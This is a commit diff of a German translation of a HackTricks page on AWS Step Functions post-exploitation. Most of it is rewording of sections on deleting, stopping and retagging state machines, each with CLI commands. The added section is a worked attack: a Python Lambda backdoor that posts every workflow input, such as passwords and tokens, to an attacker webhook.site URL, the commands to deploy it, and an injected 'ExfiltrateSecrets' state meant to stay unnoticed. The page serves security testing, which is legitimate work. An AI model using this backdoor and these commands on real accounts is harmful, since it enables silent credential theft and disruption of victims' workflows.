mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-15 17:11:45 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -12,13 +12,13 @@ Für weitere Informationen zu diesem AWS-Dienst, siehe:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Diese Berechtigung ermöglicht es, **geheime Daten innerhalb einer Ausführung offenzulegen**. Dazu muss das Inspektionsniveau auf TRACE und der Parameter revealSecrets auf true gesetzt werden.
|
||||
Diese Berechtigung ermöglicht es, **geheime Daten innerhalb einer Ausführung offenzulegen**. Dazu muss das Inspektionslevel auf TRACE und der Parameter revealSecrets auf true gesetzt werden.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise die Operationen zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise den Betrieb zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potenzielle Auswirkungen**: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechung.
|
||||
- **Potenzielle Auswirkungen**: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechungen.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 senken, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stören könnte.
|
||||
Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 senken, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stört. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.
|
||||
Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stören würde. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.
|
||||
|
||||
> [!WARNING]
|
||||
> Diese Aktion wird von **express state machines** nicht unterstützt.
|
||||
@@ -56,11 +56,130 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, was die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, stören würde.
|
||||
Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und der tagbasierten Zugriffskontrollrichtlinien.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...kann einen **hochwirksamen und stealthy Post-Exploitation-Angriff** durchführen, indem er Lambda-Backdooring mit der Manipulation der Step Function-Logik kombiniert.
|
||||
|
||||
Dieses Szenario geht davon aus, dass das Opfer **AWS Step Functions verwendet, um Workflows zu orchestrieren, die sensible Eingaben verarbeiten**, wie z.B. Anmeldeinformationen, Tokens oder PII.
|
||||
|
||||
Beispiel für einen Opferaufruf:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie `LegitBusinessLogic` aufruft, kann der Angreifer mit **zwei heimlichen Angriffsvarianten** fortfahren:
|
||||
|
||||
---
|
||||
|
||||
#### Aktualisierte die Lambda-Funktion
|
||||
|
||||
Der Angreifer ändert den Code der bereits von der Step Function verwendeten Lambda-Funktion (`LegitBusinessLogic`), um Eingabedaten heimlich zu exfiltrieren.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Fügen Sie einen bösartigen Zustand zur Step Function hinzu
|
||||
|
||||
Alternativ kann der Angreifer einen **exfiltration state** zu Beginn des Workflows injizieren, indem er die Definition der Step Function aktualisiert.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Der Angreifer kann noch stealthier die Zustandsdefinition auf etwas wie das hier aktualisieren:
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
wo das Opfer den Unterschied nicht bemerkt
|
||||
|
||||
---
|
||||
|
||||
### Opfer Setup (Kontext für den Exploit)
|
||||
|
||||
- Eine Step Function (`LegitStateMachine`) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
|
||||
- Sie ruft eine oder mehrere Lambda-Funktionen wie `LegitBusinessLogic` auf.
|
||||
|
||||
---
|
||||
|
||||
**Potenzielle Auswirkungen**:
|
||||
- Stille Exfiltration sensibler Daten, einschließlich Geheimnisse, Anmeldeinformationen, API-Schlüssel und PII.
|
||||
- Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
|
||||
- Schwer zu erkennen, ohne den Lambda-Code oder Ausführungsspuren zu überprüfen.
|
||||
- Ermöglicht langfristige Persistenz, wenn die Hintertür im Code oder in der ASL-Logik bleibt.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user